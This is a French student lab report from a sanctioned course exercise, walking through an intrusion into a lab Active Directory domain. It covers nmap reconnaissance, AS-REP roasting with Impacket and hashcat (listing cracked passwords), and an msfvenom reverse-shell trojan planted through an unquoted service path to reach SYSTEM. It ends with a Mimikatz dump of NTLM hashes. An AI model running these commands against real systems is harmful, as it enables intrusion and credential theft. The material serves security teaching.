

Vol de secrets
Windows
Labo 2
SOS

Kevin Auberson
Dani Tiago Faria dos Santos
Jonathan Thiébaud

HEIG-VD, 2025

1 Code couleur

Informations fournies dans le PDF

Informations trouvées durant le labo / Commandes

Réponse à une question

2 Reconnaissance

Avec l'outil nmap, effectuer une reconnaissance du réseau puis effectuer une analyse plus précise de chaque machine cible.

```
nmap -Pn -n -F /27 -open
nmap -Pn -O --privileged <target IP>
```

2.1 P1: Quels OS tournent les machines cibles ? Quels ports sont ouverts sur le serveur, que pouvez-vous en déduire des fonctions de cette machine ?

Scan nmap de base :

```
IICT-MV473-UbuntuServerSOS24% nmap -Pn -n -F 10.190.134.0/27 -open
```

```
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-20 11:23 UTC
Nmap scan report for 10.190.134.1
Host is up (0.00047s latency).
Not shown: 99 closed ports
PORT      STATE SERVICE
179/tcp    open  bgp
```

```
Nmap scan report for 10.190.134.11
Host is up (0.00045s latency).
Not shown: 99 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
```

```
Nmap scan report for 10.190.134.12
Host is up (0.00034s latency).
Not shown: 96 closed ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
5357/tcp   open  wsddapi
```

```
Nmap scan report for 10.190.134.13
Host is up (0.00029s latency).
Not shown: 92 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
```

```
135/tcp open  msrpc
139/tcp open  netbios-ssn
389/tcp open  ldap
445/tcp open  microsoft-ds
1433/tcp open  ms-sql-s
3389/tcp open  ms-wbt-server
```

Nmap scan report for 10.190.134.16

Host is up (0.00057s latency).

Not shown: 96 filtered ports, 2 closed ports

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

```
PORT      STATE SERVICE
```

```
22/tcp    open  ssh
```

```
8081/tcp   open  blackice-icecap
```

Nmap scan report for 10.190.134.21

Host is up (0.00042s latency).

Not shown: 98 closed ports

```
PORT      STATE SERVICE
```

```
21/tcp    open  ftp
```

```
22/tcp    open  ssh
```

Nmap scan report for 10.190.134.22

Host is up (0.00044s latency).

Not shown: 98 closed ports

```
PORT      STATE SERVICE
```

```
21/tcp    open  ftp
```

```
22/tcp    open  ssh
```

Nmap scan report for 10.190.134.24

Host is up (0.00038s latency).

Not shown: 99 filtered ports

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

```
PORT      STATE SERVICE
```

```
22/tcp    open  ssh
```

Nmap scan report for 10.190.134.27

Host is up (0.00077s latency).

Not shown: 97 filtered ports

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

```
PORT      STATE SERVICE
```

```
22/tcp    open  ssh
```

```
80/tcp    open  http
```

```
443/tcp   open  https
```

Nmap done: 32 IP addresses (32 hosts up) scanned in 7.26 seconds

Scan détaillé des 2 machines windows :

IICT-MV473-UbuntuServerSOS24% nmap -Pn -O --privileged 10.190.134.12

Starting Nmap 7.80 (<https://nmap.org>) at 2025-11-20 11:37 UTC

Nmap scan report for 10.190.134.12

Host is up (0.00021s latency).

Not shown: 996 closed ports

PORT	STATE	SERVICE
135/tcp	open	msrpc
139/tcp	open	netbios-ssn
445/tcp	open	microsoft-ds
5357/tcp	open	wsdapi

MAC Address: 00:50:56:AA:FF:49 (VMware)

No exact OS matches for host (If you know what OS is running on it, see <https://nmap.org/submit/>).

TCP/IP fingerprint:

OS:SCAN(V=7.80%E=4%D=11/20%OT=135%CT=1%CU=40368%PV=Y%DS=1%DC=D%G=Y%M=005056
 OS:%TM=691EFD6F%P=x86_64-pc-linux-gnu)SEQ(SP=F8%GCD=1%ISR=108%TI=I%CI=I%II=
 OS:I%SS=S%TS=U)OPS(O1=M5B4NW8NNS%O2=M5B4NW8NNS%O3=M5B4NW8%O4=M5B4NW8NNS%O5=
 OS:M5B4NW8NNS%O6=M5B4NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF7
 OS:0)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=0%A=S
 OS:%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S+F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%
 OS:T=80%W=0%S=Z%A=0%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%O=%RD=
 OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%
 OS:S=A%A=0%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+F=AR%O=%RD=0%Q=)U1(
 OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
 OS:N%T=80%CD=Z)

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 11.31 seconds

IICT-MV473-UbuntuServerSOS24% nmap -Pn -O --privileged 10.190.134.13

Starting Nmap 7.80 (<https://nmap.org>) at 2025-11-20 11:37 UTC

Nmap scan report for DC01.SECURE.com (10.190.134.13)

Host is up (0.00021s latency).

Not shown: 987 closed ports

PORT	STATE	SERVICE
53/tcp	open	domain
88/tcp	open	kerberos-sec
135/tcp	open	msrpc
139/tcp	open	netbios-ssn
389/tcp	open	ldap
445/tcp	open	microsoft-ds
464/tcp	open	kpasswd
593/tcp	open	http-rpc-epmap
636/tcp	open	ldaps
1433/tcp	open	ms-sql-s
3268/tcp	open	globalcatLDAP
3269/tcp	open	globalcatLDAPssl
3389/tcp	open	ms-wbt-server

MAC Address: 00:50:56:AA:60:BE (VMware)

Device type: general purpose

Running: Microsoft Windows 2016

OS CPE: cpe:/o:microsoft:windows_server_2016

OS details: Microsoft Windows Server 2016 build 10586 - 14393

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 2.48 seconds

IICT-MV473-UbuntuServerSOS24%

Identification des machines dans le réseau :

Le scan du réseau 10.190.134.0/27 a révélé plusieurs machines actives :

- **10.190.134.11** : Machine attaquante (Ubuntu - notre machine SSH)
- **10.190.134.12** : Workstation Windows (cible principale)
- **10.190.134.13** : Windows Server / Domain Controller (cible principale)
- **10.190.134.16, 21, 22, 24, 27** : Autres machines de l'infrastructure (probablement d'autres groupes)

Les deux machines cibles du domaine SECURE.com sont la workstation (10.190.134.12) et le serveur (10.190.134.13).

Machine 1 - Workstation (10.190.134.12) :

- **OS** : Windows (version exacte non déterminée par nmap, mais identifié comme une machine Windows)
- **Adresse MAC** : 00:50:56:AA:FF:49 (VMware)
- **Ports ouverts** :
 - 135/tcp (msrpc) : Services RPC Windows
 - 139/tcp (netbios-ssn) : Partage de fichiers NetBIOS
 - 445/tcp (microsoft-ds) : Partage de fichiers SMB
 - 5357/tcp (wsdapi) : Web Services on Devices API

Type de machine : Workstation Windows (probablement Windows 10 ou Windows 11)

Machine 2 - Serveur / Domain Controller (10.190.134.13) :

- **Nom d'hôte** : DC01.SECURE.com
- **OS** : Microsoft Windows Server 2016 (build 10586 - 14393)
- **Adresse MAC** : 00:50:56:AA:60:BE (VMware)
- **Ports ouverts** :
 - 53/tcp (domain) : Serveur DNS du domaine
 - 88/tcp (kerberos-sec) : Authentification Kerberos
 - 135/tcp (msrpc) : Services RPC Windows
 - 139/tcp (netbios-ssn) : Partage de fichiers NetBIOS
 - 389/tcp (ldap) : Service d'annuaire Active Directory (non-SSL)
 - 445/tcp (microsoft-ds) : Partage de fichiers SMB
 - 464/tcp (kpasswd5) : Changement de mot de passe Kerberos
 - 593/tcp (http-rpc-epmap) : HTTP RPC Endpoint Mapper
 - 636/tcp (ldaps) : LDAP over SSL/TLS
 - 1433/tcp (ms-sql-s) : Microsoft SQL Server
 - 3268/tcp (globalcatLDAP) : Global Catalog LDAP
 - 3269/tcp (globalcatLDAPssl) : Global Catalog LDAP over SSL

Machine 2 - Serveur / Domain Controller (10.190.134.13) [Suite]:**• Ports ouverts :**

- 3389/tcp (ms-wbt-server) : Bureau à distance (RDP)

Type de machine : Domain Controller Windows Server 2016 + SQL Server

Déductions sur les fonctions du serveur DC01.SECURE.com (10.190.134.13) :

Le scan détaillé révèle que cette machine remplit plusieurs rôles critiques dans l'infrastructure :

1. **Domain Controller (DC) :** Les multiples ports Active Directory nous disent qu'il s'agit du contrôleur de domaine principal :
 - Port 88 (Kerberos) : Authentification centralisée
 - Ports 389 et 636 (LDAP/LDAPS) : Annuaire Active Directory
 - Ports 3268 et 3269 (Global Catalog) : Service de catalogue global pour les requêtes multi-domaines
 - Port 464 (Kerberos password change) : Changement de mot de passe sécurisé
2. **Serveur DNS :** Le port 53 fournit la résolution de noms pour le domaine SECURE.com, vital pour le fonctionnement de l'AD.
3. **Serveur de base de données :** Le port 1433 c'est pour un serveur Microsoft SQL Server hébergé sur le DC (mauvaise pratique de sécurité).
4. **Administration à distance :** Le port 3389 -> RDP permet l'administration graphique à distance du serveur.
5. **Partage de fichiers :** Les ports 139 et 445 (SMB/NetBIOS) permettent le partage de fichiers Windows.
6. **Services RPC :** Les ports 135 et 593 exposent les services RPC pour l'administration distante.

Observations de sécurité :

- La présence de LDAPS (636) et Global Catalog SSL (3269) signifient une tentative de sécurisation des communications
- L'hébergement de SQL Server sur le DC est une mauvaise pratique (augmente la portée/surface d'attaque)
- La machine est un maillon faible et une cible prioritaire pour les attaquants
- OS: Windows Server 2016 (potentiellement vulnérable si non patché)

3 Accès initial

Credentials obtenus (via social engineering) :

- username: jcode
- password: Jeancode11

Essayer de s'authentifier à la machine workstation avec evil-winrm :

```
evil-winrm -i <target IP> -u <username> -p <password>
```

3.1 P2: Avez-vous pu vous connecter ? Pourquoi, à votre avis ?

Tentative de connexion :

```
IICT-MV473-UbuntuServerSOS24% evil-winrm -i 10.190.134.12 -u jcode -p Jeancode11
```

```
Evil-WinRM shell v3.7
```

```
Info: Establishing connection to remote endpoint
```

```
Error: An error of type WinRM::WinRMAuthorizationError happened, message is  
WinRM::WinRMAuthorizationError
```

```
Error: Exiting with code 1
```

Non, la connexion a échoué avec une erreur WinRM::WinRMAuthorizationError.

Explications possibles :

1. **Permissions WinRM insuffisantes** : L'utilisateur jcode existe probablement dans le domaine (puisque nous avons obtenu ses credentials via social engineering), mais il n'a pas les permissions nécessaires pour se connecter via WinRM.
2. **Groupes requis** : Pour utiliser WinRM/PSRemoting, un utilisateur doit être membre de l'un des groupes suivants :
 - "Remote Management Users" (groupe local)
 - "Administrators" (groupe local ou domaine)
3. **Utilisateur standard** : jcode est probablement un utilisateur standard du domaine sans privilèges d'administration, ce qui explique pourquoi il ne peut pas établir de session WinRM.

En gros, les credentials jcode:Jeancode11 sont valides pour l'authentification au domaine, mais l'utilisateur n'a pas les permissions suffisantes pour l'administration à distance via WinRM. On doit donc trouver d'autres utilisateurs avec des privilèges plus élevés ou voir si il a accès à d'autres fichiers qui nous serviront de piste.

4 Asprep roasting

L'attaque « asprep roasting » vise à récupérer un ticket TGT pour essayer de retrouver le mot de passe de l'utilisateur associé. Utiliser GetNPUsers.py de la suite Impacket pour interroger le DC et récupérer les TGT.

```
GetNPUsers.py -request -dc-ip <DC IP> <domain>/<username>:<password> -outputfile hashes.aspreproast
```

Craquer les TGT obtenus avec Hashcat :

```
hashcat --help | grep -i kerberos  
hashcat -m <asprep mode> hashes.aspreproast <path to rockyou>
```

Parmi les credentials récupérés, sélectionner ceux du compte atrusionsosX où X est le numéro de votre groupe, puis se connecter avec evil-winrm.

Récupération de credentials

```
IICT-MV473-UbuntuServerSOS24% GetNPUsers.py -request -dc-ip 10.190.134.13 SECURE.com/jcode:Jeancode11  
-outputfile hashes.aspreproast
```

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Name	MemberOf	PasswordLastSet	LastLogon
UAC			
...			
atrusionsos1	CN=alaintrusion_lab,CN=Users,DC=SECURE,DC=com	2024-08-07 10:52:18.493688	2025-11-18 10:19:47.456676 0x410200

...

atrusionsos20	CN=alaintrusion_lab,CN=Users,DC=SECURE,DC=com	2024-08-07 10:52:20.243695	2025-11-18 10:19:47.581673 0x410200
atrusionehk20	CN=alaintrusion_lab,CN=Users,DC=SECURE,DC=com	2024-08-07 10:52:20.290753	2025-11-18 10:19:47.581673 0x410200

Liste de hashes...

...

Après un coup de hashcat avec :

```
IICT-MV473-UbuntuServerSOS24% hashcat -m 18200 hashes.aspreproast ~/rockyou.txt --show
```

On a la liste suivante :

Utilisateurs atrusionsosX (par groupe) :

- Groupe 1 : atrusionsos1 → ILuvCade1
- Groupe 2 : atrusionsos2 → DeWitt101
- Groupe 3 : atrusionsos3 → Pisshead76
- Groupe 4 : atrusionsos4 → Skippy811
- Groupe 5 : atrusionsos10 → LuluMaster41
- Groupe 6 : atrusionsos6 → Rockets36
- Groupe 7 : atrusionsos7 → -;yPvblik23072529
- Groupe 8 : atrusionsos8 → 0423jigglyPuff
- Groupe 9 : atrusionsos9 → Shortie76
- Groupe 10 : atrusionsos10 → SeDk2105Dp
- Groupe 11 : atrusionsos11 → bardenas33B
- Groupe 12 : atrusionsos12 → Smokeout6
- Groupe 13 : atrusionsos13 → K9ilovetea
- Groupe 14 : atrusionsos14 → PuRpLe100
- Groupe 15 : atrusionsos15 → LeftBehind22

Si on tente de se connecter avec le groupe 10 on arrive sur la machine victime :

```
IICT-MV473-UbuntuServerSOS24% evil-winrm -i 10.190.134.12 -u atrusionsos10 -p SeDk2105Dp
```

```
Evil-WinRM shell v3.7
```

```
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function  
is unimplemented on this machine
```

```
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-  
path-completion
```

```
Info: Establishing connection to remote endpoint  
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents>
```

4.1 P3: Quelle conclusion pouvez-vous tirer sur l'utilisateur jcode ?

L'utilisateur jcode **possède des credentials valides** pour le domaine SECURE.com (jcode:Jeancode11), mais il est limité par le fait que:

1. **C'est un utilisateur de confiance limité** : Bien que ses credentials fonctionnent pour l'authentification au domaine (puisque GetNPUsers.py a réussi), il n'a pas de permissions d'administration à distance (WinRM refusé).
2. **A des privilèges de lecture AD** : jcode a suffisamment de permissions dans Active Directory pour interroger le DC et récupérer la liste des utilisateurs avec Kerberos pre-authentication désactivé. Cela indique qu'il est au moins un user du domaine authentifié.
3. **Compte non-privilégié** : Il ne fait pas partie des groupes "Remote Management Users" ou "Administrators", ce qui explique l'échec de connexion via evil-winrm.

jcode est donc selon moi un utilisateur standard du domaine et va nous servir de point d'entrée pour énumérer le domaine et découvrir d'autres comptes plus privilégiés.

4.2 P4: Pourquoi un TGT permet-il de retrouver un mot de passe ? Comment Hashcat s'y prend-il pour les cracker ?

Pourquoi un TGT permet de retrouver un mot de passe :

Dans l'attaque ASREProasting, nous exploitons les utilisateurs qui ont l'option "Do not require Kerberos preauthentication" (DONT_REQ_PREAUTH) activée. Pour ces utilisateurs :

1. Le TGT (Ticket Granting Ticket) est retourné par le KDC (Key Distribution Center) **sans** vérification préalable d'authentification
2. Ce TGT est **chiffré avec le hash du mot de passe de l'utilisateur** (dérivé via la clé Kerberos)
3. Puisque nous pouvons obtenir ce TGT sans authentification, nous obtenons du matériel cryptographique chiffré avec le mot de passe de l'utilisateur

Comment Hashcat cracke les TGT :

1. **Attaque par force brute/dictionnaire** : Hashcat teste chaque mot de passe candidat du dictionnaire (rockyou.txt)
2. **Dérivation de clé** : Pour chaque candidat, Hashcat génère le hash Kerberos (NTLM ou AES) du mot de passe candidat et tente de déchiffrer le TGT avec cette clé
3. **Vérification** : Si le déchiffrement produit des données valides (structure Kerberos correcte), le mot de passe est trouvé
4. **Mode hashcat** : Mode 18200 pour Kerberos 5 AS-REP etype 23 (rc4-hmac)

Donc cette attaque est possible car certains utilisateurs ont la pré-authentification Kerberos désactivée, permettant d'obtenir du matériel cryptographique offline sans authentification préalable.

4.3 P5: L'utilitaire evil-winrm ouvre une session avec les privilèges de l'utilisateur. Que pouvez-vous en déduire sur l'utilisateur atrusionsosX ? ☹

Récupération des droits du user de notre groupe :

```
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> whoami /user
```

USER INFORMATION

```
User Name          SID
=====
secure\atrusionsos10 S-1-5-21-4201873219-205740982-4205070342-1169
```

```
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> whoami /groups
```

GROUP INFORMATION

```
Group Name          Type          SID
-----
Attributes
=====
Everyone            Well-known group S-1-1-0
Mandatory group, Enabled by default, Enabled group
BUILTIN\Users        Alias          S-1-5-32-545
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15
Mandatory group, Enabled by default, Enabled group
SECURE\alaintrusion_lab Group          S-1-5-21-4201873219-205740982-4205070342-1149
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10
Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> whoami /priv
```

PRIVILEGES INFORMATION

```
Privilege Name      Description          State
=====
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege    Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege  Change the time zone Enabled
```

Analyse des privilèges et groupes de atrusionsos10 :**1. Utilisateur NON-administrateur :**

- Membre du groupe BUILTIN\Users (pas BUILTIN\Administrators)
- Niveau d'intégrité : **Medium Mandatory Level** (un administrateur aurait "High")
- Pas de privilèges sensibles (pas de SeDebugPrivilege, SeImpersonatePrivilege, etc.)

2. Accès WinRM autorisé malgré les privilèges limités :

- Contrairement à jcode, atrusionsos10 peut se connecter via WinRM
- Cela signifie que WinRM est configuré pour accepter des utilisateurs non-administrateurs, probablement via le groupe "Remote Management Users" (non visible dans la sortie mais implicite)
- Cette configuration permet l'administration à distance sans privilèges élevés

3. Membre du groupe de lab :

- SECURE\alaintrusion_lab : Groupe dédié aux comptes de test d'intrusion
- SID du domaine : S-1-5-21-4201873219-205740982-4205070342
- SID utilisateur : S-1-5-21-4201873219-205740982-4205070342-1159

4. Vulnérabilités identifiées :

- **Kerberos pre-authentication désactivée** : Permis l'attaque ASREProast
- **Mot de passe faible** : Cracké en quelques secondes avec rockyou.txt (LuluMaster41)
- **Accès WinRM** : Point d'entrée pour des attaques d'élévation de privilèges

5. Privilèges standards uniquement :

- SeShutdownPrivilege : Arrêt du système
- SeChangeNotifyPrivilege : Traversée de répertoires
- SeUndockPrivilege : Retrait de station d'accueil
- SeIncreaseWorkingSetPrivilege : Augmentation du working set
- SeTimeZonePrivilege : Changement de fuseau horaire
- **Absence de privilèges administratifs** : Nécessité d'élévation de privilèges pour obtenir un accès complet

atrusionsos10 est donc un utilisateur standard du domaine avec accès WinRM mais sans privilèges administratifs. C'est un meilleur point de départ pour mener des attaques d'élévation de privilèges locaux.

5 Élévation de privilèges

Exploiter une vulnérabilité “unquoted service path”. Le chemin de l'exécutable du service est :

```
C:\Program Files\Some ToolsX\Fax 2.0\FXSSVC.exe
```

Le service est démarré automatiquement toutes les 2 minutes par un administrateur local.

Créer un trojan avec msfvenom (utiliser les ports dans le fichier allocated_ports) :

```
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> -f exe -o <trojan.exe>
```

Uploader le trojan dans target_folder avec evil-winrm :

```
cd "target folder"
upload <trojan.exe>
```

Se connecter au reverse shell avec netcat :

```
nc -nlvp <PORT>
```

Création et upload du Trojan :

```
IICT-MV473-UbuntuServerSOS24% msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.190.134.11
LPORT=4700 -f exe -o Fax.exe
```

```
[*] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
```

```
No encoder specified, outputting raw payload
```

```
Payload size: 460 bytes
```

```
Final size of exe file: 7168 bytes
```

```
Saved as: Fax.exe
```

```
IICT-MV473-UbuntuServerSOS24% evil-winrm -i 10.190.134.12 -u atrusionsos10 -p
```

```
SeDk2105Dp
```

```
Evil-WinRM shell v3.7
```

```
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function
is unimplemented on this machine
```

```
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-
path-completion
```

```
Info: Establishing connection to remote endpoint
```

```
*Evil-WinRM* PS C:\Users\atrusionsos10\Documents> cd "C:\Program Files\Some ToolsSOS10"
```

```
*Evil-WinRM* PS C:\Program Files\Some ToolsSOS10> upload /home/dani.fariadossantos/Fax.exe
```

```
Info: Uploading /home/dani.fariadossantos/Fax.exe to C:\Program Files\Some ToolsSOS10\Fax.exe
```

Data: 9556 bytes of 9556 bytes copied

Info: Upload successful!

Après 1 minute on a accès via la backdoor et on recheck nos nouveaux droits :

```
IICT-MV473-UbuntuServerSOS24% nc -nlvp 4700
```

Listening on 0.0.0.0 4700

Connection received on 10.190.134.12 61873

Microsoft Windows [Version 10.0.19045.2006]

(c) Microsoft Corporation. All rights reserved.

```
C:\Windows\system32>
```

```
C:\Windows\system32> whoami /user
```

USER INFORMATION

User Name	SID
nt authority\system	S-1-5-18

```
C:\Windows\system32> whoami /groups
```

GROUP INFORMATION

Group Name	Type	SID
BUILTIN\Administrators	Alias	S-1-5-32-544
Group owner		
Everyone	Well-known group	S-1-1-0
default, Enabled group		
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11
default, Enabled group		
Mandatory Label\System Mandatory Level		
Label		S-1-16-16384

```
C:\Windows\system32> whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description
SeAssignPrimaryTokenPrivilege	Replace a process level token
Disabled	
SeLockMemoryPrivilege	Lock pages in memory
Enabled	

SeIncreaseQuotaPrivilege	Adjust memory quotas for a process
Disabled	
SeTcbPrivilege	Act as part of the operating system
Enabled	
SeSecurityPrivilege	Manage auditing and security log
Disabled	
SeTakeOwnershipPrivilege	Take ownership of files or other objects
Disabled	
SeLoadDriverPrivilege	Load and unload device drivers
Disabled	
SeSystemProfilePrivilege	Profile system performance
Enabled	
SeSystemtimePrivilege	Change the system time
Disabled	
SeProfileSingleProcessPrivilege	Profile single process
Enabled	
SeIncreaseBasePriorityPrivilege	Increase scheduling priority
Enabled	
SeCreatePagefilePrivilege	Create a pagefile
Enabled	
SeCreatePermanentPrivilege	Create permanent shared objects
Enabled	
SeBackupPrivilege	Back up files and directories
Disabled	
SeRestorePrivilege	Restore files and directories
Disabled	
SeShutdownPrivilege	Shut down the system
Disabled	
SeDebugPrivilege	Debug programs
Enabled	
SeAuditPrivilege	Generate security audits
Enabled	
SeSystemEnvironmentPrivilege	Modify firmware environment values
Disabled	
SeChangeNotifyPrivilege	Bypass traverse checking
Enabled	
SeUndockPrivilege	Remove computer from docking station
Disabled	
SeManageVolumePrivilege	Perform volume maintenance tasks
Disabled	
SeImpersonatePrivilege	Impersonate a client after authentication
Enabled	
SeCreateGlobalPrivilege	Create global objects
Enabled	
SeIncreaseWorkingSetPrivilege	Increase a process working set
Enabled	
SeTimeZonePrivilege	Change the time zone
Enabled	
SeCreateSymbolicLinkPrivilege	Create symbolic links
Enabled	
SeDelegateSessionUserImpersonatePrivilege	Obtain an impersonation token for another user in the same session
Enabled	

On a les droits les plus élevés sur la machine Windows !

5.1 P6: Comment fonctionne l'exploitation de la vulnérabilité Unquoted service path (expliquer ce que fait Windows lorsque le service est démarré) ? Avec quels privilèges tournent votre reverse shell ? Comment l'expliquer ? ☺

Fonctionnement de l'exploitation "Unquoted Service Path" :

1. La vulnérabilité elle même:

Le chemin du service est configuré **sans guillemets** :

```
C:\Program Files\Some Tools\SOS10\Fax 2.0\FXSSVC.exe
```

2. Comportement de Windows lors du démarrage du service :

Lorsque Windows tente d'exécuter ce chemin sans guillemets contenant des espaces, il interprète les espaces comme des séparateurs d'arguments et cherche l'exécutable dans cet ordre :

1. C:\Program.exe (Program = exécutable, Files = argument)
2. C:\Program Files\Some.exe (Some = exécutable, ToolsSOS10 = argument)
3. **C:\Program Files\Some Tools\SOS10\Fax.exe ← Notre trojan !**
4. C:\Program Files\Some Tools\SOS10\Fax 2.0\FXSSVC.exe (chemin réel)

Windows s'arrête dès qu'il trouve un exécutable qui existe. Notre trojan Fax.exe placé au point 3 est donc exécuté **avant** le vrai service.

3. Exploitation :

- Nous avons placé notre trojan Fax.exe via la commande upload dans C:\Program Files\Some Tools\SOS10\
- Nous avons les droits d'écriture sur ce dossier : SECURE\atrusionsos10:(OI)(CI)(R,W)
- Le service est configuré pour démarrer automatiquement toutes les 2 minutes par un administrateur local

Privilèges du reverse shell :

Notre reverse shell s'exécute avec les privilèges **NT AUTHORITYSYSTEM** (SID S-1-5-18), le niveau de privilège le plus élevé sur Windows.

Explication :

- Le service est configuré pour s'exécuter avec des privilèges **SYSTEM** (typique pour les services Windows)
- Lorsque le service démarre, il exécute notre trojan Fax.exe **avec les mêmes privilèges** que le service
- Notre trojan hérite donc automatiquement des privilèges **NT AUTHORITYSYSTEM**

Caractéristiques du compte SYSTEM :

- Niveau d'intégrité : **System Mandatory Level** (S-1-16-16384) - le plus élevé
- Membre du groupe **BUILTINAdministrators**
- Tous les privilèges système activés, notamment :
 - ▶ SeDebugPrivilege : Permet de déboguer/lire la mémoire de n'importe quel processus (crucial pour Mimikatz)
 - ▶ SeImpersonatePrivilege : Permet d'usurper l'identité d'autres utilisateurs
 - ▶ SeTcbPrivilege : Permet d'agir comme partie intégrante du système d'exploitation
 - ▶ SeBackupPrivilege, SeRestorePrivilege : Sauvegarde et restauration système

L'exploitation de cette vulnérabilité nous a permis de passer d'un utilisateur standard (atrusionsos10) au compte le plus privilégié du système (NT AUTHORITY\SYSTEM), nous donnant un contrôle total sur la machine.

6 Mimikatz

Utiliser Mimikatz pour dumper les credentials en mémoire.

Uploader 64mimikatz.exe avec evil-winrm :

```
upload 64mimikatz.exe
```

Exécuter Mimikatz dans le remote shell de la backdoor :

```
.\64mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

Output de Mimikatz via le backdoor :

```
C:\Users\atrusionsos10\Documents>.\64mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
.\64mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

```
.#####.  mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v ##'   Vincent LE TOUX           ( vincent.letoux@gmail.com )
'#####'    > https://pingcastle.com / https://mysmartlogon.com **/
```

```
mimikatz(commandline) # privilege::debug
Privilege '20' OK
```

```
mimikatz(commandline) # sekurlsa::logonpasswords
```

```
Authentication Id : 0 ; 1066339 (00000000:00104563)
Session           : Service from 0
User Name         : SQLTELEMETRY$SQLEXPRESS
Domain           : NT Service
Logon Server      : (null)
Logon Time        : 21/10/2025 13:11:25
SID               : S-1-5-80-1985561900-798682989-2213159822-1904180398-3434236965
```

```
msv :
[00000003] Primary
* Username : WIN10$
* Domain   : SECURE
* NTLM     : d544fc3492fc259a87f7f1f370916f18
* SHA1     : 78a25bf579b1ae459db9d3a84398f986e2457d50
```

```
tspkg :
wdigest :
* Username : WIN10$
* Domain   : SECURE
```

```

    * Password : (null)
kerberos :
    * Username : WIN10$
    * Domain   : SECURE.com
    * Password : f7 12 7b bb b8 b9 53 35 d5 01 c1 88 54 c7 56 81 8c 14 ea d7 63 2b 7d 1b 9a ba 6a
97 ef 80 4f be 66 7d f4 6d ed 49 a9 2e 1a ea f7 84 a1 9a 0d 18 c3 18 99 84 b6 61 39 a9 49 5c 1c e8 de 62
f6 a9 83 a1 79 c0 75 88 70 cb 3e 41 a5 17 7b c7 4e 56 94 a9 3f 3d ce 59 38 36 99 2d 85 cd 26 29 a0 0c 81
dd c8 a1 27 0c ae 12 ab 6f ec 3a 07 23 19 c6 0e be 81 2e ad a7 77 01 12 f9 87 2d 75 89 4f 26 37 c1 4d c7
37 21 d6 82 34 7e 55 86 e3 80 db b1 35 87 d6 aa c8 3b b0 16 6a 4b 6f 64 fd f6 b7 bc 49 4d 3b da f5 b9 63
65 57 7e 27 36 94 58 cb 30 8e eb 83 ae 47 fa 8f 84 de fb fb c8 f5 cb 0f 6c e7 0c 0d f5 68 88 f5 3d ce 98
fd a8 cc c3 00 e5 d8 b3 bc 9f cb 3f d3 ad 0b 81 90 c8 68 0e 46 43 32 52 99 72 da a9 9e 4b 1c 02 bf 3a 3f
bb c8 7a
    ssp :
    credman :
    cloudap :

...

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WIN10$
Domain            : SECURE
Logon Server      : (null)
Logon Time        : 21/10/2025 13:09:18
SID               : S-1-5-18

    msv :
    tspkg :
    wdigest :
    * Username : WIN10$
    * Domain   : SECURE
    * Password : (null)
kerberos :
    * Username : win10$
    * Domain   : SECURE.COM
